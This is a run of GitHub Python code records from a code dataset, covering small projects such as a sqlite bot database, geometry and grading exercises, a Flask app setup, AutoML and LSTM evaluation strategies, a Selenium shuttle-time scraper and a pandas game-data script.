),\n}\n","repo_name":"jhwheeler/ukraine-info-hub","sub_path":"generators/messages/need_help.py","file_name":"need_help.py","file_ext":"py","file_size_in_byte":2065,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"51"}
+{"seq_id":"26055319749","text":"import sqlite3\n\n\nclass BotDB:\n\n    def __init__(self):\n        self.conn = sqlite3.connect(\"data_users.db\")\n        self.cursor = self.conn.cursor()\n\n    def user_exists(self, user_id):\n        result = self.cursor.execute(\n            \"SELECT `id` FROM `users` WHERE `user_id` = ?\", (user_id, ))\n        return bool(len(result.fetchall()))\n\n    def get_user_id(self, user_id):\n        result = self.cursor.execute(\n            \"SELECT `id` FROM `users` WHERE `user_id` = ?\", (user_id, ))\n        return result.fetchall()[0]\n\n    def add_user(self, user_id):\n        self.cursor.execute(\n            \"INSERT INTO `users` (`user_id`) VALUES (?)\", (user_id,))\n        return self.conn.commit()\n\n    def get_curr_learned_words(self, user_id):\n        result = self.cursor.execute(\n            \"SELECT curr_learned_words FROM users WHERE user_id = ?\", (user_id,))\n        return result.fetchall()[0][0]\n\n    def get_alre_learned_words(self, user_id):\n        result = self.cursor.execute(\n                \"SELECT `alre_learned_words` FROM `users` WHERE `user_id` = ?\", (user_id,))\n        return result.fetchall()[0][0]\n\n    def replace_curr_learned_words(self, word, user_id):\n        sql = '''UPDATE users SET curr_learned_words = ? WHERE user_id = ?'''\n        self.cursor.execute(sql, (word, user_id))\n        return self.conn.commit()\n\n    def replace_alre_learned_words(self, word, user_id):\n        sql = '''UPDATE users SET alre_learned_words = ? WHERE user_id = ?'''\n        self.cursor.execute(sql, (word, user_id))\n        return self.conn.commit()\n\n    def update_curr_learned_words(self, word, user_id):\n        sql = '''UPDATE users SET curr_learned_words = curr_learned_words || ? WHERE user_id = ?'''\n        self.cursor.execute(sql, (word, user_id))\n        return self.conn.commit()\n\n    def update_alre_learned_words(self, word, user_id):\n        sql = '''UPDATE users SET alre_learned_words = alre_learned_words || ? WHERE user_id = ?'''\n        self.cursor.execute(sql, (word, user_id))\n        return self.conn.commit()\n\n    def get_some_words(self, user_id, column_code) -> []:\n        from random import randrange\n        if column_code == \"curr\":\n            data = self.get_curr_learned_words(user_id)\n        else:\n            data = self.get_alre_learned_words(user_id)\n        if data is None or not data:\n            return []\n        data = data.strip().split(\" \")\n        if len(data) < 5:\n            return []\n        list_words = []\n        for _ in range(5):\n            random_index = randrange(len(data))\n            list_words.append(data[random_index])\n            del data[random_index]\n        if column_code == \"curr\":\n            string_to_database = \"\"\n            for word in data:\n                string_to_database += word + \" \"\n            self.replace_curr_learned_words(string_to_database, user_id)\n        return list_words\n\n    def close(self):\n        self.conn.close()\n","repo_name":"darkgoodron/pythonProject","sub_path":"database/db.py","file_name":"db.py","file_ext":"py","file_size_in_byte":2920,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"11082196019","text":"import math\r\nshape = input(\"Choose the shape you want to use, \\n triangle, rectangle, square, circle, semicircle, parallelogram, rhombus, trapezium, kite, to end the program type end \\n Type here: \")\r\nwhile shape !=\"end\":\r\n    if shape == \"triangle\":\r\n        tri1 = int(input(\"Enter base of the triangle: \"))\r\n        tri2 = int(input(\"Enter the hight of the triangle: \"))\r\n        print(\"The area of the triangle is {}\".format((tri1*tri2)/2))\r\n        shape = input(\"Type your next shape: \")\r\n    elif shape == \"rectangle\":\r\n        rec1 = int(input(\"Enter the length of the first side of the rectangle: \"))\r\n        rec2 = int(input(\"Enter the length of the second side of the rectangle: \"))\r\n        print(\"The area of the rectangle is {}\".format(rec1*rec2))\r\n        shape = input(\"Type your next shape: \")\r\n    elif shape == \"square\":\r\n        squ1 = int(input(\"Enter the length of the side of the square: \"))\r\n        print(\"The area of the square is {}\".format(squ1**2))\r\n        shape = input(\"Type your next shape: \")\r\n    elif shape == \"circle\":\r\n        cir1 = int(input(\"Enter the radius of the circle: \"))\r\n        print(\"The area of the circle is {}\".format(cir1**2)*math.pi)\r\n        shape = input(\"Type your next shape: \")\r\n    elif shape == \"semicircle\":\r\n        sem1 = int(input(\"Enter the radius of the semicircle: \"))\r\n        print(\"The area of the semicircle is {}\".format(((sem1**2)*math.pi)/2))\r\n        shape = input(\"Type your next shape: \")\r\n    elif shape == \"parallelogram\":\r\n        par1 = int(input(\"Enter the base of the parallelogram: \"))\r\n        par2 = int(input(\"Enter the hight of the parallelogram: \"))\r\n        print(\"The area of the parallelogram is {}\".format(par1*par2))\r\n        shape = input(\"Type your next shape: \")\r\n    elif shape == \"rhombus\":\r\n        rho1 = int(input(\"Enter the diagonal of the rhombus: \"))\r\n        rho2 = int(input(\"Enter the other diagonal of the rhombus: \"))\r\n        print(\"The area of the rhombus is {}\".format((rho1*rho2)/2))\r\n        shape = input(\"Type your next shape: \")\r\n    elif shape == \"trapezium\":\r\n        tra1 = int(input(\"Enter the base of the trapezium: \"))\r\n        tra2 = int(input(\"Enter the other base of the trapezium: \"))\r\n        tra3 = int(input(\"Enter the hight of the trapezium: \"))\r\n        print(\"The area of the trapezium is {}\".format(((tra1+tra2)/2)*tra3))\r\n        shape = input(\"Type your next shape: \")\r\n    elif shape == \"kite\":\r\n        kit1 = int(input(\"Enter the diagonal of the kite: \"))\r\n        kit2 = int(input(\"Enter the other diagonal of the kite: \"))\r\n        print(\"The area of the kite is {}\".format((kit1*kit2)/2))\r\n        shape = input(\"Type your next shape: \")\r\n    else:\r\n        print(\"invalid choice, try checking you spelling, enter your choice again\")\r\n        shape = input(\"Type here: \")\r\n\r\n","repo_name":"NASSERRRR/shapesarea","sub_path":"shapes.py","file_name":"shapes.py","file_ext":"py","file_size_in_byte":2822,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"32391071409","text":"# Program: Algortimo377_Vetor25.py\n# Author: Ramon R. Valeriano\n# Description:\n# Developed: 04/05/2020 - 22:43\n# Updated:\n\nquantity = 5\nlista = list()\ncont = 0\ntest = 0\nfor e in range(quantity):\n    number =  int(input(\"Enter with %d° number: \" %(e+1)))\n    if number == 0:\n        break\n    \n    test = len(lista)\n    if test>1:\n        last = lista[-1]\n        if number == last:\n            cont+=1\n    else:\n        last = 0\n    lista.append(number)\nprint(cont)\n","repo_name":"ramonvaleriano/introducao-programacao-livro500algoritmos","sub_path":"Capítulos/Capitulo 5/Exercicios 5a/Algortimo377_Vetor25.py","file_name":"Algortimo377_Vetor25.py","file_ext":"py","file_size_in_byte":467,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"1170834572","text":"import sys\nfrom Tkinter import *\nimport time\n\ndisplay = Tk()\ntime1 = ''\ndisplay.title(\"Irrigation Display\")\ndisplay.geometry(\"400x200+350+340\")\nL1 = Label(display, text=\"Temperature =\").grid(row=0,column=0,sticky=W)\nL2 = Label(display, text=\"Humidity =\").grid(row=1,column=0,sticky=W)\nL3 = Label(display, text=\"Moisture =\").grid(row=2,column=0,sticky=W)\nV1 = Label(display, text=\"25.2C\").grid(row=0,column=1,sticky=W)\nV2 = Label(display, text=\"50.5%\").grid(row=1,column=1,sticky=W)\nV3 = Label(display, text=\"700\").grid(row=2,column=1,sticky=W)\nB1 = Button(display, text =\"Irrigation On\") .grid(row=3,column=0,sticky=W)\nB2 = Button(display, text =\"Irrigation Off\") .grid(row=3,column=1,sticky=W)\nclock = Label(display, font=('times', 20, 'bold'), bg='green')\nclock.grid(row=4,column=0,sticky=W)\n\ndef tick():\n    global time1\n    # get the current local time from the PC\n    time2 = time.strftime('%H:%M:%S')\n    # if time string has changed, update it\n    if time2 != time1:\n        time1 = time2\n        clock.config(text=time2)\n    # calls itself every 200 milliseconds\n    # to update the time display as needed\n    # could use >200 ms, but display gets jerky\n    clock.after(1, tick)\n    \ntick()\ndisplay.mainloop()\n","repo_name":"Octane70/Code","sub_path":"GUI/GUI_test.py","file_name":"GUI_test.py","file_ext":"py","file_size_in_byte":1218,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"51"}
+{"seq_id":"24863918796","text":"\"\"\"\n실습 6\n1. score 라는 변수에 0 부터 100 사이의 숫자를 랜덤으로 추출학 저장한다.\n2. score 변수의 값의 크기에 따라서 다음을 출력한다. -> print() 함수를 5개 사용하여 해결한다.\n   score 변수의 값이 90~100 이면 xx 점은 A 등급입니다.\n   score 변수의 값이 80~89 이면 xx 점은 B 등급입니다.\n   score 변수의 값이 70~79 이면 xx 점은 C 등급입니다.\n   score 변수의 값이 60~69 이면 xx 점은 D 등급입니다.\n   score 변수의 값이 0~59 이면 xx 점은 F 등급입니다.\n3. print 함수는 한번만 사용한다.\n\n1) score 변수에 random.randint(0, 100)을 통해 0 ~ 100 사이의 값을 랜덤 추출한다.\n2) if 조건문을 통해 score 의 범위에 따라 grade 를 다르게 준다\n   - 점수는 연속적인 수치이고 특정 수를 기준으로 나누기 때문에 100 부터 하나씩 걸러서 다음 조건문 수행\n   - 의미 없는 비교식을 계속 수행하는 것을 방지하기 위해 if - if - if ..로 하지 않고\n   - if - elif - elif - .. - else 로!!\n3) 변수를 통해 조건에 따라 grade 를 할당하고 마지막에 print 함수를 사용!\n\"\"\"\n\nimport random\nscore = random.randint(0, 100)\nif score >= 90:\n    grade = \"A\"\nelif score >= 80:\n    grade = \"B\"\nelif score >= 70:\n    grade = \"C\"\nelif score >= 60:\n    grade = \"D\"\nelse:\n    grade = \"F\"\nprint(score, \"점은 \", grade, \"등급 입니다.\")\n","repo_name":"jaeha13/TIL","sub_path":"210630_python02/conditionLab6.py","file_name":"conditionLab6.py","file_ext":"py","file_size_in_byte":1444,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"35230672946","text":"from flask import Flask, Blueprint\nfrom flask_sqlalchemy import SQLAlchemy\nfrom sqlalchemy_utils import database_exists, create_database, drop_database\nfrom .config import DevelopmentConfig, ProductionConfig\nimport os\n\napp = Flask(__name__, static_url_path='/static', static_folder='dist')\nconfig = DevelopmentConfig if os.environ.get(\"FLASK_ENV\") == \"development\" else ProductionConfig\nprint(f\"Using {config.ENV} configuration\")\napp.config.from_object(config)\ndb = SQLAlchemy(app)\n\nif app.config['DROP_DATABASE_ON_STARTUP'] and database_exists(db.engine.url):\n    drop_database(db.engine.url)\n    print(f\"[WARNING] Dropped {db.engine.url.drivername} database '{db.engine.url.database}'\")\n\nif not database_exists(db.engine.url):\n    create_database(db.engine.url)\n\n\nfrom .models import *\n\ndb.create_all()\n\nfrom .utils.error_handlers import *\nfrom .utils.middleware import *\nfrom .routes import *\n\napi = Blueprint('api', __name__)\n\napi.register_blueprint(video_routes, url_prefix='/videos')\napi.register_blueprint(video_analytics_routes, url_prefix='/videos/<video_id>/analytics')\napi.register_blueprint(video_insights_routes, url_prefix='/videos/<video_id>/insights')\napi.register_blueprint(video_key_moments_routes, url_prefix='/videos/<video_id>/key_moments')\n\napp.register_blueprint(api, url_prefix='/api/v1')\n\n@app.route('/', defaults={'path': ''})\n@app.route('/<path:path>')\ndef catch_all(path):\n    try:\n        return app.send_static_file(path)\n    except:\n        return app.send_static_file(\"index.html\")\n\n","repo_name":"ahmedx3/Feelback","sub_path":"feelback_backend/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1515,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"51"}
+{"seq_id":"23588869431","text":"from django import forms\n\nfrom animal.models import Animal\n\n\nclass AnimalForm(forms.ModelForm):\n    def __init__(self, *args, **kwargs):\n        super().__init__(*args, **kwargs)\n\n        for (_, field) in self.fields.items():\n            field.widget.attrs['class'] = 'input-group'\n\n    class Meta:\n        model = Animal\n        fields = '__all__'\n","repo_name":"ilievpavel/Animal-Care","sub_path":"animal/animal_form.py","file_name":"animal_form.py","file_ext":"py","file_size_in_byte":350,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"14106224003","text":"'''\nQueue via Stacks: Implement a MyQueue class which implements a queue using two stacks.\n'''\n\nclass Queuebystacks:\n\n    def __init__(self):\n        self.snew = []\n        self.sold = []\n\n    def push(self, a):\n        self.snew.append(a)\n\n    def pop(self):\n        if len(self.sold) == 0:\n            while len(self.snew) >0:\n                self.sold.append(self.snew.pop(-1))\n            return self.sold.pop(-1)\n        else:\n            return self.sold.pop(-1)\n\n\n\nqs = Queuebystacks()\nqs.push(3)\nqs.push(5)\nqs.push(6)\nqs.push(9)\nqs.push(4)\nqs.push(2)\nqs.pop()\nqs.pop()\n\n\n","repo_name":"swang2000/CdataS","sub_path":"QueueandStack/queuebystacks.py","file_name":"queuebystacks.py","file_ext":"py","file_size_in_byte":579,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"40435449118","text":"itemValue = [4000, 3500, 1800, 400, 1000, 200]\nitemWeights = [20, 10, 9, 4, 2, 1]\n\n\nimport itertools\nN = 6\ncombinations = list(itertools.product([0, 1], repeat=N))\n\nitems = []\ncoms = []\n\nfor com in combinations:\n\n    sum1 = 0\n    sum2 = 0\n    for i in range(0, len(com)):\n        print(com[i], end=\" \")\n\n        if com[i] is 1:\n            sum1 = sum1 + itemValue[i]\n            sum2 = sum2 + itemWeights[i]\n\n    if sum2 <= 20:\n        items.append(sum1)\n        coms.append(com)\n\n    print()\n\nprint(items)\nprint(coms)\n\nmaxValue = max(items)\nindex = items.index(maxValue)\n\nprint(maxValue)\nprint(index)\n\nprint(coms[index])\nprint(items[index])\n","repo_name":"ishantk/GW2019C","sub_path":"venv/Session20KnapSack.py","file_name":"Session20KnapSack.py","file_ext":"py","file_size_in_byte":642,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"33237353439","text":"import warnings\nimport gc\n\nimport h2o\nfrom h2o import H2OFrame\nfrom h2o.automl import H2OAutoML\nfrom tpot import TPOTClassifier, TPOTRegressor\n\nfrom copy import copy\nfrom typing import Optional\n\nimport numpy as np\nimport tensorflow as tf\n\nfrom fedot.core.data.data import InputData, OutputData\nfrom fedot.core.operations.evaluation.evaluation_interfaces import EvaluationStrategy\nfrom fedot.core.repository.dataset_types import DataTypesEnum\nfrom fedot.core.repository.tasks import TaskTypesEnum\nfrom fedot.core.repository.tasks import extract_task_param\n\nwarnings.filterwarnings(\"ignore\", category=UserWarning)\n\nforecast_length = 1\n\n\n# TODO inherit this and similar from custom strategy\nclass KerasForecastingStrategy(EvaluationStrategy):\n    def __init__(self, model_type: str, params: Optional[dict] = None):\n        self._init_lstm_model_functions(model_type)\n\n        self.epochs = 10\n        if params:\n            self.epochs = params.get('epochs', self.epochs)\n\n        super().__init__(model_type, params)\n\n    def fit(self, train_data: InputData):\n        model = fit_lstm(train_data, epochs=self.epochs)\n        return model\n\n    def predict(self, trained_operation, predict_data: InputData,\n                is_fit_chain_stage: bool) -> OutputData:\n\n        predicted = predict_lstm(trained_operation, predict_data)\n        converted = OutputData(idx=predict_data.idx,\n                               features=predict_data.features,\n                               predict=predicted,\n                               task=predict_data.task,\n                               target=predict_data.target,\n                               data_type=DataTypesEnum.ts)\n        return converted\n\n    @staticmethod\n    def _init_lstm_model_functions(model_type):\n        if model_type != 'lstm':\n            raise ValueError(\n                f'Impossible to obtain forecasting strategy for {model_type}')\n\n\ndef _rmse_only_last(y_true, y_pred):\n    \"\"\"\n    Computes rmse only on the last `prediction_len` values - forecasting\n    \"\"\"\n    global forecast_length\n    y_true = y_true[:, -forecast_length:]\n    y_pred = y_pred[:, -forecast_length:]\n    se = tf.keras.backend.square(y_true - y_pred)\n    mse = tf.keras.backend.mean(se)\n    return tf.keras.backend.sqrt(mse)\n\n\ndef _create_lstm(train_data: InputData):\n    reg = 0.001\n    shape = train_data.features.shape[-1]\n    window_len = train_data.features.shape[-2]\n\n    input_layer = tf.keras.layers.Input(shape=(window_len, shape))\n    conv_first = tf.keras.layers.Conv1D(filters=16,\n                                        kernel_size=16,\n                                        strides=1,\n                                        activation='relu',\n                                        padding='same',\n                                        kernel_regularizer=tf.keras.regularizers.l1(reg))(input_layer)\n    conv_second = tf.keras.layers.Conv1D(filters=16,\n                                         kernel_size=8,\n                                         strides=1,\n                                         activation='relu',\n                                         padding='same',\n                                         kernel_regularizer=tf.keras.regularizers.l1(reg))(input_layer)\n    concatenation = tf.keras.layers.Concatenate()([input_layer, conv_first, conv_second])\n\n    percent = (train_data.target.max() - train_data.target.min()) / 100\n    noise = tf.keras.layers.GaussianNoise(percent)(concatenation)\n\n    lstm_first_layer = tf.keras.layers.LSTM(64, return_sequences=True,\n                                            kernel_regularizer=tf.keras.regularizers.l1(reg))(noise)\n    lstm_second_layer = tf.keras.layers.LSTM(128, return_sequences=True,\n                                             kernel_regularizer=tf.keras.regularizers.l1(reg))(lstm_first_layer)\n\n    concatenation = tf.keras.layers.Concatenate()([concatenation, lstm_second_layer])\n    output_layer = tf.keras.layers.TimeDistributed(\n        tf.keras.Sequential([tf.keras.layers.Dropout(0.25),\n                             tf.keras.layers.Dense(train_data.target.shape[-1],\n                                                   kernel_regularizer=tf.keras.regularizers.l1(\n                                                       reg))]))(concatenation)\n    return tf.keras.Model(inputs=input_layer, outputs=output_layer)\n\n\n# TODO move hyperparameters to params\ndef fit_lstm(train_data: InputData, epochs: int = 1):\n    global forecast_length\n\n    train_data_3d = _lagged_data_to_3d(train_data)\n\n    ts_length = train_data_3d.features.shape[0]\n    # train_data_3d.task.task_params.\n    model = _create_lstm(train_data_3d)\n\n    forecast_length = train_data_3d.task.task_params.forecast_length\n\n    model.compile(tf.keras.optimizers.Adam(lr=0.02), loss='mse', metrics=[_rmse_only_last])\n\n    percent = 5 * (train_data_3d.target.max() - train_data_3d.target.min()) / 100\n    model.fit(train_data_3d.features, train_data_3d.target, epochs=epochs,\n              callbacks=[\n                  tf.keras.callbacks.EarlyStopping(monitor='loss', min_delta=percent, patience=5),\n                  tf.keras.callbacks.ReduceLROnPlateau(\n                      monitor='_rmse_only_last', factor=0.2, patience=2, min_delta=0.1, verbose=False),\n                  tf.keras.callbacks.TensorBoard(update_freq=ts_length // 10)\n              ], verbose=0)\n\n    return model\n\n\ndef predict_lstm(trained_model, predict_data: InputData) -> OutputData:\n    window_len, prediction_len = extract_task_param(predict_data.task)\n\n    predict_data_3d = _lagged_data_to_3d(predict_data)\n\n    pred = trained_model.predict(predict_data_3d.features)\n    return pred[:, -prediction_len:, 0]\n\n\ndef _lagged_data_to_3d(input_data: InputData) -> InputData:\n    transformed_data = copy(input_data)\n\n    # TODO separate proprocessing for exog features\n    transformed_data.features = np.asarray(transformed_data.features)[:, :, np.newaxis]\n    transformed_data.target = np.asarray(transformed_data.target)[:, :, np.newaxis]\n\n    return transformed_data\n\n\nclass AutoMlStrategy(EvaluationStrategy):\n    __operations_by_types = {\n        'tpot': None,\n        'h2o': None}\n\n    def __init__(self, operation_type: str, params: Optional[dict] = None):\n        self.operation = self._convert_to_operation(operation_type)\n        self.params = params\n        super().__init__(operation_type, params)\n\n    def _convert_to_operation(self, operation_type: str):\n        if operation_type in self.__operations_by_types.keys():\n            return self.__operations_by_types[operation_type]\n        else:\n            raise ValueError(f'Impossible to obtain AutoMl strategy for {operation_type}')\n\n    @property\n    def implementation_info(self) -> str:\n        return str(self._convert_to_operation(self.operation_type))\n\n\ndef fit_tpot(data: InputData, max_run_time_min: int):\n    models_hyperparameters = _get_models_hyperparameters(max_run_time_min)['TPOT']\n    estimator = None\n    if data.task.task_type == TaskTypesEnum.classification:\n        estimator = TPOTClassifier\n    elif data.task.task_type == TaskTypesEnum.regression:\n        estimator = TPOTRegressor\n\n    model = estimator(generations=models_hyperparameters['GENERATIONS'],\n                      population_size=models_hyperparameters['POPULATION_SIZE'],\n                      verbosity=2,\n                      random_state=42,\n                      max_time_mins=models_hyperparameters['MAX_RUNTIME_MINS'])\n\n    model.fit(data.features, data.target)\n\n    return model\n\n\ndef predict_tpot_reg(trained_model, predict_data):\n    return trained_model.predict(predict_data.features)\n\n\ndef predict_tpot_class(trained_model, predict_data):\n    try:\n        return trained_model.predict_proba(predict_data.features)[:, 1]\n    except AttributeError:\n        # sklearn workaround for tpot\n        return trained_model.predict(predict_data.features)\n\n\ndef fit_h2o(train_data: InputData, max_run_time_min: int):\n    model_hyperparameters = _get_models_hyperparameters(max_run_time_min)['H2O']\n\n    ip, port = _get_h2o_connect_config()\n\n    h2o.init(ip=ip, port=port, name='h2o_server')\n\n    frame = _data_transform(train_data)\n\n    train_frame, valid_frame = frame.split_frame(ratios=[0.85])\n\n    # make sure that your target column is the last one\n    target_name = train_frame.columns[-1]\n    predictor_names = train_frame.columns.remove(target_name)\n    train_frame[target_name] = train_frame[target_name].asfactor()\n\n    model = H2OAutoML(max_models=model_hyperparameters['MAX_MODELS'],\n                      seed=1,\n                      max_runtime_secs=model_hyperparameters['MAX_RUNTIME_SECS'])\n    model.train(x=predictor_names, y=target_name, training_frame=train_frame, validation_frame=valid_frame)\n    best_model = model.leader\n\n    return best_model\n\n\ndef predict_h2o(trained_model, predict_data: InputData) -> np.array:\n    test_frame = _data_transform(predict_data)\n\n    target_name = test_frame.columns[-1]\n    test_frame[target_name] = test_frame[target_name].asfactor()\n\n    prediction_frame = trained_model.predict(test_frame)\n\n    # return list of values like predict_proba[,:1] in sklearn\n    prediction_proba_one: list = prediction_frame['p1'].transpose().getrow()\n\n    return np.array(prediction_proba_one)\n\n\ndef _data_transform(data: InputData) -> H2OFrame:\n    conc_data = np.concatenate((data.features, data.target.reshape(-1, 1)), 1)\n    frame = H2OFrame(python_obj=conc_data)\n    return frame\n\n\ndef _get_models_hyperparameters(timedelta: int = 5) -> dict:\n    # MAX_RUNTIME_MINS should be equivalent to MAX_RUNTIME_SECS\n\n    tpot_config = {'MAX_RUNTIME_MINS': timedelta,\n                   'GENERATIONS': 50,\n                   'POPULATION_SIZE': 10}\n\n    h2o_config = {'MAX_MODELS': 20,\n                  'MAX_RUNTIME_SECS': timedelta * 60}\n\n    autokeras_config = {'MAX_TRIAL': 10,\n                        'EPOCH': 100}\n\n    space_for_mlbox = {\n        'ne__numerical_strategy': {\"space\": [0, 'mean']},\n\n        'ce__strategy': {\"space\": [\"label_encoding\", \"random_projection\", \"entity_embedding\"]},\n\n        'fs__strategy': {\"space\": [\"variance\", \"rf_feature_importance\"]},\n        'fs__threshold': {\"search\": \"choice\", \"space\": [0.1, 0.2, 0.3, 0.4, 0.5]},\n\n        'est__strategy': {\"space\": [\"LightGBM\"]},\n        'est__max_depth': {\"search\": \"choice\", \"space\": [5, 6]},\n        'est__subsample': {\"search\": \"uniform\", \"space\": [0.6, 0.9]},\n        'est__learning_rate': {\"search\": \"choice\", \"space\": [0.07]}\n\n    }\n\n    mlbox_config = {'space': space_for_mlbox, 'max_evals': 40}\n\n    config_dictionary = {'TPOT': tpot_config, 'H2O': h2o_config,\n                         'autokeras': autokeras_config, 'MLBox': mlbox_config}\n    gc.collect()\n\n    return config_dictionary\n\n\ndef _get_h2o_connect_config():\n    IP = '127.0.0.1'\n    PORT = 8888\n    return IP, PORT\n\n\nclass AutoMLEvaluationStrategy(EvaluationStrategy):\n    _model_functions_by_type = {\n        'tpot': (fit_tpot, predict_tpot_class),\n    }\n\n    def __init__(self, model_type: str, params: Optional[dict] = None):\n        self._model_specific_fit, self._model_specific_predict = \\\n            self._init_benchmark_model_functions(model_type)\n\n        self.max_time_min = 5\n        if params:\n            self.max_time_min = params.get('max_run_time_sec', self.max_time_min * 60) / 60\n\n        super().__init__(model_type, params)\n\n    def _init_benchmark_model_functions(self, model_type):\n        if model_type in self._model_functions_by_type.keys():\n            return self._model_functions_by_type[model_type]\n        else:\n            raise ValueError(f'Impossible to obtain benchmark strategy for {model_type}')\n\n    def fit(self, train_data: InputData):\n        benchmark_model = self._model_specific_fit(train_data, self.max_time_min)\n        return benchmark_model\n\n    def predict(self, trained_operation, predict_data: InputData,\n                is_fit_chain_stage: bool) -> OutputData:\n        predicted = self._model_specific_predict(trained_operation, predict_data)\n        # Wrap prediction as features for next level\n        converted = OutputData(idx=predict_data.idx,\n                               features=predict_data.features,\n                               predict=predicted,\n                               task=predict_data.task,\n                               target=predict_data.target,\n                               data_type=DataTypesEnum.table)\n\n        return converted\n\n\nclass AutoMLRegressionStrategy(AutoMLEvaluationStrategy):\n    _model_functions_by_type = {\n        'tpot': (fit_tpot, predict_tpot_reg),\n    }\n","repo_name":"Anaxagor/Mixed-Learning-of-Bayesian-Networks","sub_path":"fedot/core/operations/evaluation/old_strategies.py","file_name":"old_strategies.py","file_ext":"py","file_size_in_byte":12568,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"51"}
+{"seq_id":"31209117568","text":"\"\"\"ucsf-shuttle.py\nPurpose:\n    This script will automatically open chrome and click on the specified route and stop to load bus times.\n\nUsage:\n    cd /Users/anguyen11/PycharmProjects/automate/websites\n    source env/bin/activate\n    python ucsf-shuttle.py\n\nIn development:\n    ucsf-shuttle.py ROUTE_COLOR SHUTTLE_STOP\n    ucsf-shuttle.py (-h | --help)\n    ucsf-shuttle.py --version\n\nOptions:\n    -h --help     Show this screen.\n    --version     Show version.\n\n\"\"\"\nfrom selenium import webdriver\nfrom docopt import docopt\n\n# def get_times(color, stop):\n\n\ndef get_times():\n    route_element = driver.find_element_by_xpath('// *[ @ id = \"shuttle-button-off\"] / div[1]')\n    route_element.click()\n    color_element = driver.find_element_by_xpath('// *[ @ id = \"myRoutes\"] / li[4] / nobr / a')\n    color_element.click()\n    location_element = driver.find_element_by_xpath('// *[ @ id = \"shuttle-location-off\"] / div[1] / strong')\n    location_element.click()\n    ''' can also try explicit wait -> code below execute every 500 ms for 10 s until sucessful or quits after 10 s\n    # https://selenium-python.readthedocs.io/waits.html\n    from selenium import webdriver\n    from selenium.webdriver.common.by import By\n    from selenium.webdriver.support.ui import WebDriverWait\n    from selenium.webdriver.support import expected_conditions as EC\n\n    driver = webdriver.Firefox()\n    driver.get(\"http://somedomain/url_that_delays_loading\")\n    try:\n        element = WebDriverWait(driver, 10).until(\n            EC.presence_of_element_located((By.ID, \"myDynamicElement\"))\n        )\n    finally:\n        driver.quit()\n    '''\n    driver.implicitly_wait(2)  # wait 2 seconds\n    stop_element = driver.find_element_by_xpath('// *[ @ id = \"myLocations1\"] / li[2] / nobr / a')\n    stop_element.click()\n    driver.execute_script(\"window.scrollTo(0, 500)\")  # scroll down 500 pixels\n\n\nif __name__ == '__main__':\n    # arguments = docopt(__doc__, version='ucsf-shuttle 1.0')\n    # color = arguments['ROUTE_COLOR']\n    # stop = arguments['SHUTTLE_STOP']\n\n    # load chrome\n    driver = webdriver.Chrome('./chromedriver')\n    # go to url\n    driver.get(\"https://campuslifeservices.ucsf.edu/liveshuttle/\")\n\n    get_times()\n","repo_name":"alexanhtunguyen/bus","sub_path":"ucsf-shuttle.py","file_name":"ucsf-shuttle.py","file_ext":"py","file_size_in_byte":2205,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"9653219604","text":"# %%\nfrom gf_utils.stc_data import get_stc_data\nimport os\nimport argparse\nimport pandas as pd\nimport re\n\nfrom pathlib import Path\nos.chdir(Path(__file__).resolve().parent)\nparser = argparse.ArgumentParser()\nparser.add_argument('-r','--region', type=str, default='ch')\nargs = parser.parse_args()\n\n# %%\nregion = args.region\nstc_data = get_stc_data(\n    stc_dir=f'../data/{region}/stc', \n    table_dir=f'../data/{region}/asset/table',\n    subset=['enemy_character_type','enemy_in_team','enemy_team','spot','mission','team_ai'],\n)\n\n# %%\nget_df = lambda d, k: pd.DataFrame.from_records(iter(d.values()),columns=k,index='id').convert_dtypes()\ns = get_df(stc_data['spot'],['id','mission_id','enemy_team_id'])\nm = get_df(stc_data['mission'],['id','name'])\nt = get_df(stc_data['enemy_team'],['id','enemy_leader','effect_ext','ai'])\ne = get_df(stc_data['enemy_in_team'],['id','enemy_team_id', 'enemy_character_type_id','number'])\nc = get_df(stc_data['enemy_character_type'],['id','name'])\na = get_df(stc_data['team_ai'],['id','ai_type','name'])\n# %%\nec = e.join(c,on='enemy_character_type_id',rsuffix='_enemy_character_type',how='left').drop(columns='enemy_character_type_id').groupby(['enemy_team_id','name']).sum().reset_index()\nec['member'] = ec.apply(lambda x: f\"{x['name']}*{x['number']}\",axis=1)\nec = ec.groupby(['enemy_team_id']).agg({'member':'|'.join})\nec\n# %%\ntl = t.join(c,on='enemy_leader').drop(columns='enemy_leader').rename(columns={'name':'leader'})\ntla = tl.reset_index().merge(a,how='left',left_on='ai',right_on='ai_type')\ntla = tla.rename(columns={'name':'ai_name'}).set_index('id').drop(columns=['ai'])\ntla \n# %%\nm['name'] = m.apply(lambda x: re.sub('//n','',x['name']).split('|')[0],axis=1)\nms = s.join(m,on='mission_id').drop(columns=['mission_id'])\nmstl = ms.join(tla,on='enemy_team_id',how='right').rename(columns={'name':'mission'}).groupby('enemy_team_id').first()\nmstl\n# %%\nmstlec = mstl.join(ec,how='right').reindex(columns=['mission','leader','effect_ext','ai_name','member'])\nmstlec = mstlec.fillna({'mission':'','leader':'','member':'','effect_ext':0,})\nmstlec['effect_ext'] = mstlec.apply(lambda x: str(x['effect_ext']) if x['effect_ext'] > 0 else '',axis=1)\nmstlec\n# %%\nmstlec.to_csv('enemy_team_info.csv')\n# 